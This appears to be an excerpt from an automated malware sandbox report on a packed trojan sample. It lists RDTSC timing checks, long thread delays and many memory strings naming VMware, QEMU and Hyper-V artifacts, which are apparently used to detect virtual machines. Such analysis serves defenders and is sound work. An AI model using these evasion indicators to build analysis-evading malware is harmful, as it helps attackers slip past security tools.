Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	RDTSC instruction interceptor: First address: 0000000000409B5E second address: 0000000000409B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\mstsc.exe	RDTSC instruction interceptor: First address: 00000000001498E4 second address: 00000000001498EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\mstsc.exe	RDTSC instruction interceptor: First address: 0000000000149B5E second address: 0000000000149B64 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Memory allocated: 1B8D0A50000 memory reserve \| memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Memory allocated: 1B8D0BA0000 memory reserve \| memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Memory allocated: 1B8D0CA0000 memory reserve \| memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Memory allocated: 1B8D1110000 memory reserve \| memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Memory allocated: 1B8D1850000 memory reserve \| memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Memory allocated: 1B8D1CC0000 memory reserve \| memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Memory allocated: 1B8D1DC0000 memory commit \| memory reserve \| memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Memory allocated: 1D32C600000 memory reserve \| memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Memory allocated: 1D32C720000 memory reserve \| memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Memory allocated: 1D32C820000 memory reserve \| memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Memory allocated: 1D32CBD0000 memory reserve \| memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Memory allocated: 1D32CF00000 memory reserve \| memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Memory allocated: 1D32D800000 memory reserve \| memory write watch
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	Memory allocated: 1D32D550000 memory commit \| memory reserve \| memory write watch

Source: C:\Windows\explorer.exe	File opened / queried: scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}	Jump to behavior
Source: C:\Windows\explorer.exe	File opened / queried: SCSI#Disk&Ven_VMware&Prod_Virtual_disk#5&1ec51bf7&0&000000#{53f56307-b6bf-11d0-94f2-00a0c91efb8b}	Jump to behavior
Source: C:\Windows\explorer.exe	File opened / queried: SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe

Code function: 1_2_00409A90 rdtsc

1_2_00409A90

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe TID: 5832	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe TID: 6856	Thread sleep count: 47 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe TID: 6856	Thread sleep count: 120 > 30	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe TID: 6376	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe TID: 4820	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 2088	Thread sleep time: -85000s >= -30000s	Jump to behavior

Source: explorer.exe, 00000010.00000003.900881622.000000000F25D000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B1
Source: SearchUI.exe, 00000016.00000003.854498121.000001B8E47E8000.00000004.00000001.sdmp	Binary or memory string: vmware horizon clientator xmplayerrizon c
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.687067868.0000000005620000.00000004.00000001.sdmp	Binary or memory string: VMware
Source: explorer.exe, 00000010.00000002.1026871359.0000000000DEE000.00000004.00000020.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000010.00000003.894123531.000000000F377000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000010.00000002.1046519388.000000000621D000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.687067868.0000000005620000.00000004.00000001.sdmp	Binary or memory string: tpautoconnsvc#Microsoft Hyper-V
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.687067868.0000000005620000.00000004.00000001.sdmp	Binary or memory string: cmd.txtQEMUqemu
Source: explorer.exe, 00000002.00000000.703940604.000000000A60E000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: SearchUI.exe, 00000016.00000003.854498121.000001B8E47E8000.00000004.00000001.sdmp	Binary or memory string: 7585\|voice & video calls\|skype1\|voice recorder\|vioce6945\|vmware player\|vmplayer4486\|voice recorder\|voive7212\|voice recorder\|recr7315\|trader workstation\|tws1\|vuze\|azu5812\|weather\|local weather6239\|virusscan console\|mc581\|tools command prompt\|cmd1\|visiontools pro-e\|vt431\|twitter\|twiter5581\|weather\|the weather6785\|visual studio 2013\|v
Source: explorer.exe, 00000010.00000003.907549674.000000000F48E000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c9t
Source: explorer.exe, 00000010.00000003.887959259.00000000063B1000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.687067868.0000000005620000.00000004.00000001.sdmp	Binary or memory string: vmsrvc
Source: explorer.exe, 00000002.00000000.695416216.0000000004755000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000[Wm
Source: explorer.exe, 00000002.00000000.704041361.000000000A716000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000/
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.686708823.0000000004B70000.00000002.00000001.sdmp, explorer.exe, 00000002.00000002.764657677.00000000058C0000.00000002.00000001.sdmp, WerFault.exe, 0000000A.00000002.765137858.000001EDC74E0000.00000002.00000001.sdmp	Binary or memory string: The communication protocol version between the Hyper-V Host and Guest Compute Services is not supported.
Source: explorer.exe, 00000010.00000003.902544793.00000000063F7000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B@c
Source: explorer.exe, 00000002.00000000.704088912.000000000A784000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000@
Source: SearchUI.exe, 00000016.00000003.841016944.000001B8E4466000.00000004.00000001.sdmp	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\VMware vCenter Converter Standalone\converter.exe11333
Source: explorer.exe, 00000010.00000003.894123531.000000000F377000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}V
Source: explorer.exe, 00000010.00000003.902602832.000000000F48D000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BW
Source: SearchUI.exe, 00000016.00000003.854498121.000001B8E47E8000.00000004.00000001.sdmp	Binary or memory string: \|vmware player\|vmplayer4486
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.687067868.0000000005620000.00000004.00000001.sdmp	Binary or memory string: vmware
Source: explorer.exe, 00000010.00000003.831423585.00000000062FE000.00000004.00000001.sdmp	Binary or memory string: ;;SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000010.00000002.1047169993.000000000637F000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000010.00000003.836052474.0000000006300000.00000004.00000001.sdmp	Binary or memory string: \??\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000010.00000002.1046519388.000000000621D000.00000004.00000001.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.687067868.0000000005620000.00000004.00000001.sdmp	Binary or memory string: vmusrvc
Source: explorer.exe, 00000010.00000003.836052474.0000000006300000.00000004.00000001.sdmp	Binary or memory string: \??\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}@
Source: SearchUI.exe, 00000016.00000003.854498121.000001B8E47E8000.00000004.00000001.sdmp	Binary or memory string: virusscan consolemberswill it rain todaytr consolevmware workstation 12 playerhrewcess manag
Source: SearchUI.exe, 00000016.00000002.893292909.000001B0CAFC5000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW@b;
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.687067868.0000000005620000.00000004.00000001.sdmp	Binary or memory string: vmtools
Source: explorer.exe, 00000010.00000003.908089865.000000000EEB2000.00000004.00000001.sdmp	Binary or memory string: }#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}BZZ[
Source: explorer.exe, 00000010.00000003.894123531.000000000F377000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Y
Source: explorer.exe, 00000010.00000003.894123531.000000000F377000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}[
Source: explorer.exe, 00000010.00000003.900881622.000000000F25D000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B<
Source: explorer.exe, 00000010.00000003.902621050.000000000F492000.00000004.00000001.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllA
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.686708823.0000000004B70000.00000002.00000001.sdmp, explorer.exe, 00000002.00000002.764657677.00000000058C0000.00000002.00000001.sdmp, WerFault.exe, 0000000A.00000002.765137858.000001EDC74E0000.00000002.00000001.sdmp	Binary or memory string: An unknown internal message was received by the Hyper-V Compute Service.
Source: explorer.exe, 00000010.00000003.905324815.000000000EEB2000.00000004.00000001.sdmp	Binary or memory string: }#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B
Source: SearchUI.exe, 00000016.00000003.854498121.000001B8E47E8000.00000004.00000001.sdmp	Binary or memory string: vmware horizon client
Source: SearchUI.exe, 00000016.00000003.843512340.000001B8E45F7000.00000004.00000001.sdmp	Binary or memory string: \|hyper-v manager\|hyper v4225
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.687067868.0000000005620000.00000004.00000001.sdmp	Binary or memory string: vmware svga
Source: explorer.exe, 00000010.00000003.902544793.00000000063F7000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B5b
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.686708823.0000000004B70000.00000002.00000001.sdmp, explorer.exe, 00000002.00000002.764657677.00000000058C0000.00000002.00000001.sdmp, WerFault.exe, 0000000A.00000002.765137858.000001EDC74E0000.00000002.00000001.sdmp	Binary or memory string: A Virtual Machine could not be started because Hyper-V is not installed.
Source: explorer.exe, 00000010.00000003.836052474.0000000006300000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}`
Source: explorer.exe, 00000010.00000003.902602832.000000000F48D000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Bm
Source: explorer.exe, 00000010.00000003.903702476.000000000EEB1000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}B
Source: explorer.exe, 00000010.00000003.836052474.0000000006300000.00000004.00000001.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}`p.
Source: SearchUI.exe, 00000016.00000003.854498121.000001B8E47E8000.00000004.00000001.sdmp	Binary or memory string: vmware workstation 12 player
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.687067868.0000000005620000.00000004.00000001.sdmp	Binary or memory string: vmware sata5vmware usb pointing device-vmware vmci bus deviceCvmware virtual s scsi disk device
Source: explorer.exe, 00000010.00000003.901951610.0000000006454000.00000004.00000001.sdmp	Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}Be
Source: SearchUI.exe, 00000016.00000003.841016944.000001B8E4466000.00000004.00000001.sdmp	Binary or memory string: VMware.Horizon.Client9116
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.687067868.0000000005620000.00000004.00000001.sdmp	Binary or memory string: virtual-vmware pointing device
Source: SearchUI.exe, 00000016.00000003.841016944.000001B8E4466000.00000004.00000001.sdmp	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\VMware\Infrastructure\Virtual Infrastructure Client\Launcher\VpxClient.exe7674
Source: explorer.exe, 00000010.00000003.836052474.0000000006300000.00000004.00000001.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000!O
Source: SearchUI.exe, 00000016.00000003.841016944.000001B8E4466000.00000004.00000001.sdmp	Binary or memory string: VMware.Workstation.vmui7347
Source: SearchUI.exe, 00000016.00000003.854498121.000001B8E47E8000.00000004.00000001.sdmp	Binary or memory string: vmware vsphere clientator x
Source: explorer.exe, 00000002.00000000.704041361.000000000A716000.00000004.00000001.sdmp	Binary or memory string: _VMware_SATA_CD00#5&^
